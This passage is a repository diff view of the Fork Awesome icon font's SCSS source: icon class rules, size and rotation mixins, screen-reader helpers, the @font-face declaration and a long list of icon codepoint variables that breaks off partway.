.#{$fa-css-prefix}-mastodon:before { content: fa-content($fa-var-mastodon); }
.#{$fa-css-prefix}-mastodon-alt:before { content: fa-content($fa-var-mastodon-alt); }
.#{$fa-css-prefix}-fork-circle:before,
.#{$fa-css-prefix}-fork-awesome:before { content: fa-content($fa-var-fork-awesome); }
.#{$fa-css-prefix}-peertube:before { content: fa-content($fa-var-peertube); }
.#{$fa-css-prefix}-diaspora:before { content: fa-content($fa-var-diaspora); }
.#{$fa-css-prefix}-friendica:before { content: fa-content($fa-var-friendica); }
.#{$fa-css-prefix}-gnu-social:before { content: fa-content($fa-var-gnu-social); }
.#{$fa-css-prefix}-liberapay-square:before { content: fa-content($fa-var-liberapay-square); }
.#{$fa-css-prefix}-liberapay:before { content: fa-content($fa-var-liberapay); }
.#{$fa-css-prefix}-ssb:before,
.#{$fa-css-prefix}-scuttlebutt:before { content: fa-content($fa-var-scuttlebutt); }
.#{$fa-css-prefix}-hubzilla:before { content: fa-content($fa-var-hubzilla); }
.#{$fa-css-prefix}-social-home:before { content: fa-content($fa-var-social-home); }
.#{$fa-css-prefix}-artstation:before { content: fa-content($fa-var-artstation); }
.#{$fa-css-prefix}-discord:before { content: fa-content($fa-var-discord); }
.#{$fa-css-prefix}-discord-alt:before { content: fa-content($fa-var-discord-alt); }
.#{$fa-css-prefix}-patreon:before { content: fa-content($fa-var-patreon); }
.#{$fa-css-prefix}-snowdrift:before { content: fa-content($fa-var-snowdrift); }
.#{$fa-css-prefix}-activitypub:before { content: fa-content($fa-var-activitypub); }
.#{$fa-css-prefix}-ethereum:before { content: fa-content($fa-var-ethereum); }
.#{$fa-css-prefix}-keybase:before { content: fa-content($fa-var-keybase); }
.#{$fa-css-prefix}-shaarli:before { content: fa-content($fa-var-shaarli); }
.#{$fa-css-prefix}-shaarli-o:before { content: fa-content($fa-var-shaarli-o); }
.#{$fa-css-prefix}-cut-key:before,
.#{$fa-css-prefix}-key-modern:before { content: fa-content($fa-var-key-modern); }
.#{$fa-css-prefix}-xmpp:before { content: fa-content($fa-var-xmpp); }
.#{$fa-css-prefix}-archive-org:before { content: fa-content($fa-var-archive-org); }
.#{$fa-css-prefix}-freedombox:before { content: fa-content($fa-var-freedombox); }
.#{$fa-css-prefix}-facebook-messenger:before { content: fa-content($fa-var-facebook-messenger); }
.#{$fa-css-prefix}-debian:before { content: fa-content($fa-var-debian); }
.#{$fa-css-prefix}-mastodon-square:before { content: fa-content($fa-var-mastodon-square); }
.#{$fa-css-prefix}-tipeee:before { content: fa-content($fa-var-tipeee); }
.#{$fa-css-prefix}-react:before { content: fa-content($fa-var-react); }
.#{$fa-css-prefix}-dogmazic:before { content: fa-content($fa-var-dogmazic); }
.#{$fa-css-prefix}-zotero:before { content: fa-content($fa-var-zotero); }
.#{$fa-css-prefix}-nodejs:before { content: fa-content($fa-var-nodejs); }
.#{$fa-css-prefix}-nextcloud:before { content: fa-content($fa-var-nextcloud); }
.#{$fa-css-prefix}-nextcloud-square:before { content: fa-content($fa-var-nextcloud-square); }
.#{$fa-css-prefix}-hackaday:before { content: fa-content($fa-var-hackaday); }
.#{$fa-css-prefix}-laravel:before { content: fa-content($fa-var-laravel); }
.#{$fa-css-prefix}-signalapp:before { content: fa-content($fa-var-signalapp); }
.#{$fa-css-prefix}-gnupg:before { content: fa-content($fa-var-gnupg); }
.#{$fa-css-prefix}-php:before { content: fa-content($fa-var-php); }
.#{$fa-css-prefix}-ffmpeg:before { content: fa-content($fa-var-ffmpeg); }
.#{$fa-css-prefix}-joplin:before { content: fa-content($fa-var-joplin); }
.#{$fa-css-prefix}-syncthing:before { content: fa-content($fa-var-syncthing); }
.#{$fa-css-prefix}-inkscape:before { content: fa-content($fa-var-inkscape); }
.#{$fa-css-prefix}-matrix-org:before { content: fa-content($fa-var-matrix-org); }
.#{$fa-css-prefix}-pixelfed:before { content: fa-content($fa-var-pixelfed); }
.#{$fa-css-prefix}-bootstrap:before { content: fa-content($fa-var-bootstrap); }
.#{$fa-css-prefix}-dev-to:before { content: fa-content($fa-var-dev-to); }
.#{$fa-css-prefix}-hashnode:before { content: fa-content($fa-var-hashnode); }
.#{$fa-css-prefix}-jirafeau:before { content: fa-content($fa-var-jirafeau); }
.#{$fa-css-prefix}-emby:before { content: fa-content($fa-var-emby); }
.#{$fa-css-prefix}-wikidata:before { content: fa-content($fa-var-wikidata); }
.#{$fa-css-prefix}-gimp:before { content: fa-content($fa-var-gimp); }
.#{$fa-css-prefix}-c:before { content: fa-content($fa-var-c); }
.#{$fa-css-prefix}-digitalocean:before { content: fa-content($fa-var-digitalocean); }
.#{$fa-css-prefix}-att:before { content: fa-content($fa-var-att); }
.#{$fa-css-prefix}-gitea:before { content: fa-content($fa-var-gitea); }
.#{$fa-css-prefix}-file-epub:before { content: fa-content($fa-var-file-epub); }
.#{$fa-css-prefix}-python:before { content: fa-content($fa-var-python); }
.#{$fa-css-prefix}-archlinux:before { content: fa-content($fa-var-archlinux); }
.#{$fa-css-prefix}-pleroma:before { content: fa-content($fa-var-pleroma); }
.#{$fa-css-prefix}-unsplash:before { content: fa-content($fa-var-unsplash); }
.#{$fa-css-prefix}-hackster:before { content: fa-content($fa-var-hackster); }
.#{$fa-css-prefix}-spell-check:before { content: fa-content($fa-var-spell-check); }
.#{$fa-css-prefix}-moon:before { content: fa-content($fa-var-moon); }
.#{$fa-css-prefix}-sun:before { content: fa-content($fa-var-sun); }
.#{$fa-css-prefix}-f-droid:before { content: fa-content($fa-var-f-droid); }
.#{$fa-css-prefix}-biometric:before { content: fa-content($fa-var-biometric); }
.#{$fa-css-prefix}-wire:before { content: fa-content($fa-var-wire); }
.#{$fa-css-prefix}-tor-onion:before { content: fa-content($fa-var-tor-onion); }
.#{$fa-css-prefix}-volume-mute:before { content: fa-content($fa-var-volume-mute); }
.#{$fa-css-prefix}-bell-ringing:before { content: fa-content($fa-var-bell-ringing); }
.#{$fa-css-prefix}-bell-ringing-o:before { content: fa-content($fa-var-bell-ringing-o); }
.#{$fa-css-prefix}-hal:before { content: fa-content($fa-var-hal); }
.#{$fa-css-prefix}-jupyter:before { content: fa-content($fa-var-jupyter); }
.#{$fa-css-prefix}-julia:before { content: fa-content($fa-var-julia); }
.#{$fa-css-prefix}-classicpress:before { content: fa-content($fa-var-classicpress); }
.#{$fa-css-prefix}-classicpress-circle:before { content: fa-content($fa-var-classicpress-circle); }
.#{$fa-css-prefix}-open-collective:before { content: fa-content($fa-var-open-collective); }
.#{$fa-css-prefix}-orcid:before { content: fa-content($fa-var-orcid); }
.#{$fa-css-prefix}-researchgate:before { content: fa-content($fa-var-researchgate); }
.#{$fa-css-prefix}-funkwhale:before { content: fa-content($fa-var-funkwhale); }
.#{$fa-css-prefix}-askfm:before { content: fa-content($fa-var-askfm); }
.#{$fa-css-prefix}-blockstack:before { content: fa-content($fa-var-blockstack); }
.#{$fa-css-prefix}-boardgamegeek:before { content: fa-content($fa-var-boardgamegeek); }
.#{$fa-css-prefix}-bunny:before { content: fa-content($fa-var-bunny); }
.#{$fa-css-prefix}-buymeacoffee:before { content: fa-content($fa-var-buymeacoffee); }
.#{$fa-css-prefix}-cc-by:before { content: fa-content($fa-var-cc-by); }
.#{$fa-css-prefix}-creative-commons-alt:before,
.#{$fa-css-prefix}-cc-cc:before { content: fa-content($fa-var-cc-cc); }
.#{$fa-css-prefix}-cc-nc-eu:before { content: fa-content($fa-var-cc-nc-eu); }
.#{$fa-css-prefix}-cc-nc-jp:before { content: fa-content($fa-var-cc-nc-jp); }
.#{$fa-css-prefix}-cc-nc:before { content: fa-content($fa-var-cc-nc); }
.#{$fa-css-prefix}-cc-nd:before { content: fa-content($fa-var-cc-nd); }
.#{$fa-css-prefix}-cc-pd:before { content: fa-content($fa-var-cc-pd); }
.#{$fa-css-prefix}-cc-remix:before { content: fa-content($fa-var-cc-remix); }
.#{$fa-css-prefix}-cc-sa:before { content: fa-content($fa-var-cc-sa); }
.#{$fa-css-prefix}-cc-share:before { content: fa-content($fa-var-cc-share); }
.#{$fa-css-prefix}-cc-zero:before { content: fa-content($fa-var-cc-zero); }
.#{$fa-css-prefix}-conway-hacker:before,
.#{$fa-css-prefix}-conway-glider:before { content: fa-content($fa-var-conway-glider); }
.#{$fa-css-prefix}-csharp:before { content: fa-content($fa-var-csharp); }
.#{$fa-css-prefix}-email-bulk:before { content: fa-content($fa-var-email-bulk); }
.#{$fa-css-prefix}-email-bulk-o:before { content: fa-content($fa-var-email-bulk-o); }
.#{$fa-css-prefix}-gnu:before { content: fa-content($fa-var-gnu); }
.#{$fa-css-prefix}-google-play:before { content: fa-content($fa-var-google-play); }
.#{$fa-css-prefix}-heroku:before { content: fa-content($fa-var-heroku); }
.#{$fa-css-prefix}-hassio:before,
.#{$fa-css-prefix}-home-assistant:before { content: fa-content($fa-var-home-assistant); }
.#{$fa-css-prefix}-java:before { content: fa-content($fa-var-java); }
.#{$fa-css-prefix}-mariadb:before { content: fa-content($fa-var-mariadb); }
.#{$fa-css-prefix}-markdown:before { content: fa-content($fa-var-markdown); }
.#{$fa-css-prefix}-mysql:before { content: fa-content($fa-var-mysql); }
.#{$fa-css-prefix}-nordcast:before { content: fa-content($fa-var-nordcast); }
.#{$fa-css-prefix}-plume:before { content: fa-content($fa-var-plume); }
.#{$fa-css-prefix}-postgresql:before { content: fa-content($fa-var-postgresql); }
.#{$fa-css-prefix}-sass-alt:before { content: fa-content($fa-var-sass-alt); }
.#{$fa-css-prefix}-sass:before { content: fa-content($fa-var-sass); }
.#{$fa-css-prefix}-skate:before { content: fa-content($fa-var-skate); }
.#{$fa-css-prefix}-sketchfab:before { content: fa-content($fa-var-sketchfab); }
.#{$fa-css-prefix}-tex:before { content: fa-content($fa-var-tex); }
.#{$fa-css-prefix}-textpattern:before { content: fa-content($fa-var-textpattern); }
.#{$fa-css-prefix}-unity:before { content: fa-content($fa-var-unity); }

View file

@ -0,0 +1,13 @@
// Icon Sizes
// -------------------------
/* makes the font 33% larger relative to the icon container */
.#{$fa-css-prefix}-lg {
font-size: (4em / 3);
line-height: (3em / 4);
vertical-align: -15%;
}
.#{$fa-css-prefix}-2x { font-size: 2em; }
.#{$fa-css-prefix}-3x { font-size: 3em; }
.#{$fa-css-prefix}-4x { font-size: 4em; }
.#{$fa-css-prefix}-5x { font-size: 5em; }

View file

@ -0,0 +1,19 @@
// List Icons
// -------------------------
.#{$fa-css-prefix}-ul {
padding-left: 0;
margin-left: $fa-li-width;
list-style-type: none;
> li { position: relative; }
}
.#{$fa-css-prefix}-li {
position: absolute;
left: -$fa-li-width;
width: $fa-li-width;
top: (2em / 14);
text-align: center;
&.#{$fa-css-prefix}-lg {
left: -$fa-li-width + (4em / 14);
}
}

View file

@ -0,0 +1,60 @@
// Mixins
// --------------------------
@mixin fa-icon() {
display: inline-block;
font: normal normal normal #{$fa-font-size-base}/#{$fa-line-height-base} #{$fa-font-family}; // shortening font declaration
font-size: inherit; // can't have font-size inherit on line above, so need to override
text-rendering: auto; // optimizelegibility throws things off #1094
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
@mixin fa-icon-rotate($degrees, $rotation) {
-ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=#{$rotation})";
-webkit-transform: rotate($degrees);
-ms-transform: rotate($degrees);
transform: rotate($degrees);
}
@mixin fa-icon-flip($horiz, $vert, $rotation) {
-ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=#{$rotation}, mirror=1)";
-webkit-transform: scale($horiz, $vert);
-ms-transform: scale($horiz, $vert);
transform: scale($horiz, $vert);
}
// Only display content to screen readers. A la Bootstrap 4.
//
// See: http://a11yproject.com/posts/how-to-hide-content/
@mixin sr-only {
position: absolute;
width: 1px;
height: 1px;
padding: 0;
margin: -1px;
overflow: hidden;
clip: rect(0,0,0,0);
border: 0;
}
// Use in conjunction with .sr-only to only display content when it's focused.
//
// Useful for "Skip to main content" links; see http://www.w3.org/TR/2013/NOTE-WCAG20-TECHS-20130905/G1
//
// Credit: HTML5 Boilerplate
@mixin sr-only-focusable {
&:active,
&:focus {
position: static;
width: auto;
height: auto;
margin: 0;
overflow: visible;
clip: auto;
}
}

View file

@ -0,0 +1,16 @@
/* FONT PATH
* -------------------------- */
@font-face {
font-family: '#{$fa-font-family}';
src: url('#{$fa-font-path}/forkawesome-webfont.eot?v=#{$fa-version}');
src: url('#{$fa-font-path}/forkawesome-webfont.eot?#iefix&v=#{$fa-version}') format('embedded-opentype'),
url('#{$fa-font-path}/forkawesome-webfont.woff2?v=#{$fa-version}') format('woff2'),
url('#{$fa-font-path}/forkawesome-webfont.woff?v=#{$fa-version}') format('woff'),
url('#{$fa-font-path}/forkawesome-webfont.ttf?v=#{$fa-version}') format('truetype'),
url('#{$fa-font-path}/forkawesome-webfont.svg?v=#{$fa-version}#forkawesomeregular') format('svg');
// src: url('#{$fa-font-path}/ForkAwesome.otf') format('opentype'); // used when developing fonts
font-weight: normal;
font-style: normal;
font-display: block;
}

View file

@ -0,0 +1,20 @@
// Rotated & Flipped Icons
// -------------------------
.#{$fa-css-prefix}-rotate-90 { @include fa-icon-rotate(90deg, 1); }
.#{$fa-css-prefix}-rotate-180 { @include fa-icon-rotate(180deg, 2); }
.#{$fa-css-prefix}-rotate-270 { @include fa-icon-rotate(270deg, 3); }
.#{$fa-css-prefix}-flip-horizontal { @include fa-icon-flip(-1, 1, 0); }
.#{$fa-css-prefix}-flip-vertical { @include fa-icon-flip(1, -1, 2); }
// Hook for IE8-9
// -------------------------
:root .#{$fa-css-prefix}-rotate-90,
:root .#{$fa-css-prefix}-rotate-180,
:root .#{$fa-css-prefix}-rotate-270,
:root .#{$fa-css-prefix}-flip-horizontal,
:root .#{$fa-css-prefix}-flip-vertical {
filter: none;
}

View file

@ -0,0 +1,5 @@
// Screen Readers
// -------------------------
.sr-only { @include sr-only(); }
.sr-only-focusable { @include sr-only-focusable(); }

View file

@ -0,0 +1,20 @@
// Stacked Icons
// -------------------------
.#{$fa-css-prefix}-stack {
position: relative;
display: inline-block;
width: 2em;
height: 2em;
line-height: 2em;
vertical-align: middle;
}
.#{$fa-css-prefix}-stack-1x, .#{$fa-css-prefix}-stack-2x {
position: absolute;
left: 0;
width: 100%;
text-align: center;
}
.#{$fa-css-prefix}-stack-1x { line-height: inherit; }
.#{$fa-css-prefix}-stack-2x { font-size: 2em; }
.#{$fa-css-prefix}-inverse { color: $fa-inverse; }

View file

@ -0,0 +1,945 @@
// Variables
// --------------------------
$fa-font-path: "../fonts" !default;
$fa-font-size-base: 14px !default;
$fa-line-height-base: 1 !default;
$fa-css-prefix: "fa" !default;
$fa-font-family: "ForkAwesome" !default;
$fa-version: "1.2.0" !default;
$fa-border-color: #eee !default;
$fa-inverse: #fff !default;
$fa-li-width: (30em / 14) !default;
$fa-var-500px: \f26e;
$fa-var-activitypub: \f2f2;
$fa-var-address-book: \f2b9;
$fa-var-address-book-o: \f2ba;
$fa-var-address-card: \f2bb;
$fa-var-address-card-o: \f2bc;
$fa-var-adjust: \f042;
$fa-var-adn: \f170;
$fa-var-align-center: \f037;
$fa-var-align-justify: \f039;
$fa-var-align-left: \f036;
$fa-var-align-right: \f038;
$fa-var-amazon: \f270;
$fa-var-ambulance: \f0f9;
$fa-var-american-sign-language-interpreting: \f2a3;
$fa-var-anchor: \f13d;
$fa-var-android: \f17b;
$fa-var-angellist: \f209;
$fa-var-angle-double-down: \f103;
$fa-var-angle-double-left: \f100;
$fa-var-angle-double-right: \f101;
$fa-var-angle-double-up: \f102;
$fa-var-angle-down: \f107;
$fa-var-angle-left: \f104;
$fa-var-angle-right: \f105;
$fa-var-angle-up: \f106;
$fa-var-apple: \f179;
$fa-var-archive: \f187;
$fa-var-archive-org: \f2fc;
$fa-var-archlinux: \f323;
$fa-var-area-chart: \f1fe;
$fa-var-arrow-circle-down: \f0ab;
$fa-var-arrow-circle-left: \f0a8;
$fa-var-arrow-circle-o-down: \f01a;
$fa-var-arrow-circle-o-left: \f190;
$fa-var-arrow-circle-o-right: \f18e;
$fa-var-arrow-circle-o-up: \f01b;
$fa-var-arrow-circle-right: \f0a9;
$fa-var-arrow-circle-up: \f0aa;
$fa-var-arrow-down: \f063;
$fa-var-arrow-left: \f060;
$fa-var-arrow-right: \f061;
$fa-var-arrow-up: \f062;
$fa-var-arrows: \f047;
$fa-var-arrows-alt: \f0b2;
$fa-var-arrows-h: \f07e;
$fa-var-arrows-v: \f07d;
$fa-var-artstation: \f2ed;
$fa-var-askfm: \f33a;
$fa-var-asl-interpreting: \f2a3;
$fa-var-assistive-listening-systems: \f2a2;
$fa-var-asterisk: \f069;
$fa-var-at: \f1fa;
$fa-var-att: \f31e;
$fa-var-audio-description: \f29e;
$fa-var-automobile: \f1b9;
$fa-var-backward: \f04a;
$fa-var-balance-scale: \f24e;
$fa-var-ban: \f05e;
$fa-var-bandcamp: \f2d5;
$fa-var-bank: \f19c;
$fa-var-bar-chart: \f080;
$fa-var-bar-chart-o: \f080;
$fa-var-barcode: \f02a;
$fa-var-bars: \f0c9;
$fa-var-bath: \f2cd;
$fa-var-bathtub: \f2cd;
$fa-var-battery: \f240;
$fa-var-battery-0: \f244;
$fa-var-battery-1: \f243;
$fa-var-battery-2: \f242;
$fa-var-battery-3: \f241;
$fa-var-battery-4: \f240;
$fa-var-battery-empty: \f244;
$fa-var-battery-full: \f240;
$fa-var-battery-half: \f242;
$fa-var-battery-quarter: \f243;
$fa-var-battery-three-quarters: \f241;
$fa-var-bed: \f236;
$fa-var-beer: \f0fc;
$fa-var-behance: \f1b4;
$fa-var-behance-square: \f1b5;
$fa-var-bell: \f0a2;
$fa-var-bell-o: \f0f3;
$fa-var-bell-ringing: \f32d;
$fa-var-bell-ringing-o: \f330;
$fa-var-bell-slash: \f1f6;
$fa-var-bell-slash-o: \f1f7;
$fa-var-bicycle: \f206;
$fa-var-binoculars: \f1e5;
$fa-var-biometric: \f32b;
$fa-var-birthday-cake: \f1fd;
$fa-var-bitbucket: \f171;
$fa-var-bitbucket-square: \f172;
$fa-var-bitcoin: \f15a;
$fa-var-black-tie: \f27e;
$fa-var-blind: \f29d;
$fa-var-blockstack: \f33b;
$fa-var-bluetooth: \f293;
$fa-var-bluetooth-b: \f294;
$fa-var-boardgamegeek: \f33c;
$fa-var-bold: \f032;
$fa-var-bolt: \f0e7;
$fa-var-bomb: \f1e2;
$fa-var-book: \f02d;
$fa-var-bookmark: \f02e;
$fa-var-bookmark-o: \f097;
$fa-var-bootstrap: \f315;
$fa-var-braille: \f2a1;
$fa-var-briefcase: \f0b1;
$fa-var-btc: \f15a;
$fa-var-bug: \f188;
$fa-var-building: \f1ad;
$fa-var-building-o: \f0f7;
$fa-var-bullhorn: \f0a1;
$fa-var-bullseye: \f140;
$fa-var-bunny: \f35f;
$fa-var-bus: \f207;
$fa-var-buymeacoffee: \f33d;
$fa-var-buysellads: \f20d;
$fa-var-c: \f31c;
$fa-var-cab: \f1ba;
$fa-var-calculator: \f1ec;
$fa-var-calendar: \f073;
$fa-var-calendar-check-o: \f274;
$fa-var-calendar-minus-o: \f272;
$fa-var-calendar-o: \f133;
$fa-var-calendar-plus-o: \f271;
$fa-var-calendar-times-o: \f273;
$fa-var-camera: \f030;
$fa-var-camera-retro: \f083;
$fa-var-car: \f1b9;
$fa-var-caret-down: \f0d7;
$fa-var-caret-left: \f0d9;
$fa-var-caret-right: \f0da;
$fa-var-caret-square-o-down: \f150;
$fa-var-caret-square-o-left: \f191;
$fa-var-caret-square-o-right: \f152;
$fa-var-caret-square-o-up: \f151;
$fa-var-caret-up: \f0d8;
$fa-var-cart-arrow-down: \f218;
$fa-var-cart-plus: \f217;
$fa-var-cc: \f20a;
$fa-var-cc-amex: \f1f3;
$fa-var-cc-by: \f33e;
$fa-var-cc-cc: \f33f;
$fa-var-cc-diners-club: \f24c;
$fa-var-cc-discover: \f1f2;
$fa-var-cc-jcb: \f24b;
$fa-var-cc-mastercard: \f1f1;
$fa-var-cc-nc: \f340;
$fa-var-cc-nc-eu: \f341;
$fa-var-cc-nc-jp: \f342;
$fa-var-cc-nd: \f343;
$fa-var-cc-paypal: \f1f4;
$fa-var-cc-pd: \f344;
$fa-var-cc-remix: \f345;
$fa-var-cc-sa: \f346;
$fa-var-cc-share: \f347;
$fa-var-cc-stripe: \f1f5;
$fa-var-cc-visa: \f1f0;
$fa-var-cc-zero: \f348;
$fa-var-certificate: \f0a3;
$fa-var-chain: \f0c1;
$fa-var-chain-broken: \f127;
$fa-var-check: \f00c;
$fa-var-check-circle: \f058;
$fa-var-check-circle-o: \f05d;
$fa-var-check-square: \f14a;
$fa-var-check-square-o: \f046;
$fa-var-chevron-circle-down: \f13a;
$fa-var-chevron-circle-left: \f137;
$fa-var-chevron-circle-right: \f138;
$fa-var-chevron-circle-up: \f139;
$fa-var-chevron-down: \f078;
$fa-var-chevron-left: \f053;
$fa-var-chevron-right: \f054;
$fa-var-chevron-up: \f077;
$fa-var-child: \f1ae;
$fa-var-chrome: \f268;
$fa-var-circle: \f111;
$fa-var-circle-o: \f10c;
$fa-var-circle-o-notch: \f1ce;
$fa-var-circle-thin: \f1db;
$fa-var-classicpress: \f331;
$fa-var-classicpress-circle: \f332;
$fa-var-clipboard: \f0ea;
$fa-var-clock-o: \f017;
$fa-var-clone: \f24d;
$fa-var-close: \f00d;
$fa-var-closed-captioning: \f20a;
$fa-var-cloud: \f0c2;
$fa-var-cloud-download: \f0ed;
$fa-var-cloud-upload: \f0ee;
$fa-var-cny: \f157;
$fa-var-code: \f121;
$fa-var-code-fork: \f126;
$fa-var-codepen: \f1cb;
$fa-var-codiepie: \f284;
$fa-var-coffee: \f0f4;
$fa-var-cog: \f013;
$fa-var-cogs: \f085;
$fa-var-columns: \f0db;
$fa-var-comment: \f075;
$fa-var-comment-o: \f0e5;
$fa-var-commenting: \f27a;
$fa-var-commenting-o: \f27b;
$fa-var-comments: \f086;
$fa-var-comments-o: \f0e6;
$fa-var-community: \f0c0;
$fa-var-compass: \f14e;
$fa-var-compress: \f066;
$fa-var-connectdevelop: \f20e;
$fa-var-contao: \f26d;
$fa-var-conway-glider: \f349;
$fa-var-conway-hacker: \f349;
$fa-var-copy: \f0c5;
$fa-var-copyright: \f1f9;
$fa-var-creative-commons: \f25e;
$fa-var-creative-commons-alt: \f33f;
$fa-var-credit-card: \f09d;
$fa-var-credit-card-alt: \f283;
$fa-var-crop: \f125;
$fa-var-crosshairs: \f05b;
$fa-var-csharp: \f34a;
$fa-var-css3: \f13c;
$fa-var-cube: \f1b2;
$fa-var-cubes: \f1b3;
$fa-var-cut: \f0c4;
$fa-var-cut-key: \f2f7;
$fa-var-cutlery: \f0f5;
$fa-var-dashboard: \f0e4;
$fa-var-dashcube: \f210;
$fa-var-database: \f1c0;
$fa-var-deaf: \f2a4;
$fa-var-deafness: \f2a4;
$fa-var-debian: \f2ff;
$fa-var-dedent: \f03b;
$fa-var-delicious: \f1a5;
$fa-var-desktop: \f108;
$fa-var-dev-to: \f316;
$fa-var-deviantart: \f1bd;
$fa-var-diamond: \f219;
$fa-var-diaspora: \f2e5;
$fa-var-digg: \f1a6;
$fa-var-digitalocean: \f31d;
$fa-var-discord: \f2ee;
$fa-var-discord-alt: \f2ef;
$fa-var-dogmazic: \f303;
$fa-var-dollar: \f155;
$fa-var-dot-circle-o: \f192;
$fa-var-download: \f019;
$fa-var-dribbble: \f17d;
$fa-var-drivers-license: \f2c2;
$fa-var-drivers-license-o: \f2c3;
$fa-var-dropbox: \f16b;
$fa-var-drupal: \f1a9;
$fa-var-edge: \f282;
$fa-var-edit: \f044;
$fa-var-eercast: \f2da;
$fa-var-eject: \f052;
$fa-var-ellipsis-h: \f141;
$fa-var-ellipsis-v: \f142;
$fa-var-email-bulk: \f34b;
$fa-var-email-bulk-o: \f34c;
$fa-var-emby: \f319;
$fa-var-empire: \f1d1;
$fa-var-envelope: \f0e0;
$fa-var-envelope-o: \f003;
$fa-var-envelope-open: \f2b6;
$fa-var-envelope-open-o: \f2b7;
$fa-var-envelope-square: \f199;
$fa-var-envira: \f299;
$fa-var-eraser: \f12d;
$fa-var-ethereum: \f2f3;
$fa-var-etsy: \f2d7;
$fa-var-eur: \f153;
$fa-var-euro: \f153;
$fa-var-exchange: \f0ec;
$fa-var-exclamation: \f12a;
$fa-var-exclamation-circle: \f06a;
$fa-var-exclamation-triangle: \f071;
$fa-var-expand: \f065;
$fa-var-expeditedssl: \f23e;
$fa-var-external-link: \f08e;
$fa-var-external-link-square: \f14c;
$fa-var-eye: \f06e;
$fa-var-eye-slash: \f070;
$fa-var-eyedropper: \f1fb;
$fa-var-f-droid: \f32a;
$fa-var-fa: \f2b4;
$fa-var-facebook: \f09a;
$fa-var-facebook-f: \f09a;
$fa-var-facebook-messenger: \f2fe;
$fa-var-facebook-official: \f230;
$fa-var-facebook-square: \f082;
$fa-var-fast-backward: \f049;
$fa-var-fast-forward: \f050;
$fa-var-fax: \f1ac;
$fa-var-feed: \f09e;
$fa-var-female: \f182;
$fa-var-ffmpeg: \f30f;
$fa-var-fighter-jet: \f0fb;
$fa-var-file: \f15b;
$fa-var-file-archive-o: \f1c6;
$fa-var-file-audio-o: \f1c7;
$fa-var-file-code-o: \f1c9;
$fa-var-file-epub: \f321;
$fa-var-file-excel-o: \f1c3;
$fa-var-file-image-o: \f1c5;
$fa-var-file-movie-o: \f1c8;
$fa-var-file-o: \f016;
$fa-var-file-pdf-o: \f1c1;
$fa-var-file-photo-o: \f1c5;
$fa-var-file-picture-o: \f1c5;
$fa-var-file-powerpoint-o: \f1c4;
$fa-var-file-sound-o: \f1c7;
$fa-var-file-text: \f15c;
$fa-var-file-text-o: \f0f6;
$fa-var-file-video-o: \f1c8;
$fa-var-file-word-o: \f1c2;
$fa-var-file-zip-o: \f1c6;
$fa-var-files-o: \f0c5;
$fa-var-film: \f008;
$fa-var-filter: \f0b0;
$fa-var-fire: \f06d;
$fa-var-fire-extinguisher: \f134;
$fa-var-firefox: \f269;
$fa-var-first-order: \f2b0;
$fa-var-flag: \f024;
$fa-var-flag-checkered: \f11e;
$fa-var-flag-o: \f11d;
$fa-var-flash: \f0e7;
$fa-var-flask: \f0c3;
$fa-var-flickr: \f16e;
$fa-var-floppy-o: \f0c7;
$fa-var-folder: \f07b;
$fa-var-folder-o: \f114;
$fa-var-folder-open: \f07c;
$fa-var-folder-open-o: \f115;
$fa-var-font: \f031;
$fa-var-font-awesome: \f2b4;
$fa-var-fonticons: \f280;
$fa-var-fork-awesome: \f2e3;
$fa-var-fork-circle: \f2e3;
$fa-var-fort-awesome: \f286;
$fa-var-forumbee: \f211;
$fa-var-forward: \f04e;
$fa-var-foursquare: \f180;
$fa-var-free-code-camp: \f2c5;
$fa-var-freedombox: \f2fd;
$fa-var-friendica: \f2e6;
$fa-var-frown-o: \f119;
$fa-var-funkwhale: \f339;
$fa-var-futbol-o: \f1e3;
$fa-var-gamepad: \f11b;
$fa-var-gavel: \f0e3;
$fa-var-gbp: \f154;
$fa-var-ge: \f1d1;
$fa-var-gear: \f013;
$fa-var-gears: \f085;
$fa-var-gem: \f219;
$fa-var-genderless: \f22d;
$fa-var-get-pocket: \f265;
$fa-var-gg: \f260;
$fa-var-gg-circle: \f261;
$fa-var-gift: \f06b;
$fa-var-gimp: \f31b;
$fa-var-git: \f1d3;
$fa-var-git-square: \f1d2;
$fa-var-gitea: \f31f;
$fa-var-github: \f09b;
$fa-var-github-alt: \f113;
$fa-var-github-square: \f092;
$fa-var-gitlab: \f296;
$fa-var-gittip: \f184;
$fa-var-glass: \f000;
$fa-var-glide: \f2a5;
$fa-var-glide-g: \f2a6;
$fa-var-globe: \f0ac;
$fa-var-globe-e: \f304;
$fa-var-globe-w: \f305;
$fa-var-gnu: \f34d;
$fa-var-gnu-social: \f2e7;
$fa-var-gnupg: \f30d;
$fa-var-google: \f1a0;
$fa-var-google-play: \f34e;
$fa-var-google-plus: \f0d5;
$fa-var-google-plus-circle: \f2b3;
$fa-var-google-plus-g: \f0d5;
$fa-var-google-plus-official: \f2b3;
$fa-var-google-plus-square: \f0d4;
$fa-var-google-wallet: \f1ee;
$fa-var-graduation-cap: \f19d;
$fa-var-gratipay: \f184;
$fa-var-grav: \f2d6;
$fa-var-group: \f0c0;
$fa-var-h-square: \f0fd;
$fa-var-hackaday: \f30a;
$fa-var-hacker-news: \f1d4;
$fa-var-hackster: \f326;
$fa-var-hal: \f333;
$fa-var-hand-grab-o: \f255;
$fa-var-hand-lizard-o: \f258;
$fa-var-hand-o-down: \f0a7;
$fa-var-hand-o-left: \f0a5;
$fa-var-hand-o-right: \f0a4;
$fa-var-hand-o-up: \f0a6;
$fa-var-hand-paper-o: \f256;
$fa-var-hand-peace-o: \f25b;
$fa-var-hand-pointer-o: \f25a;
$fa-var-hand-rock-o: \f255;
$fa-var-hand-scissors-o: \f257;
$fa-var-hand-spock-o: \f259;
$fa-var-hand-stop-o: \f256;
$fa-var-handshake-o: \f2b5;
$fa-var-hard-of-hearing: \f2a4;
$fa-var-hashnode: \f317;
$fa-var-hashtag: \f292;
$fa-var-hassio: \f350;
$fa-var-hdd-o: \f0a0;
$fa-var-header: \f1dc;
$fa-var-heading: \f1dc;
$fa-var-headphones: \f025;
$fa-var-heart: \f004;
$fa-var-heart-o: \f08a;
$fa-var-heartbeat: \f21e;
$fa-var-heroku: \f34f;
$fa-var-history: \f1da;
$fa-var-home: \f015;
$fa-var-home-assistant: \f350;
$fa-var-hospital-o: \f0f8;
$fa-var-hotel: \f236;
$fa-var-hourglass: \f254;
$fa-var-hourglass-1: \f251;
$fa-var-hourglass-2: \f252;
$fa-var-hourglass-3: \f253;
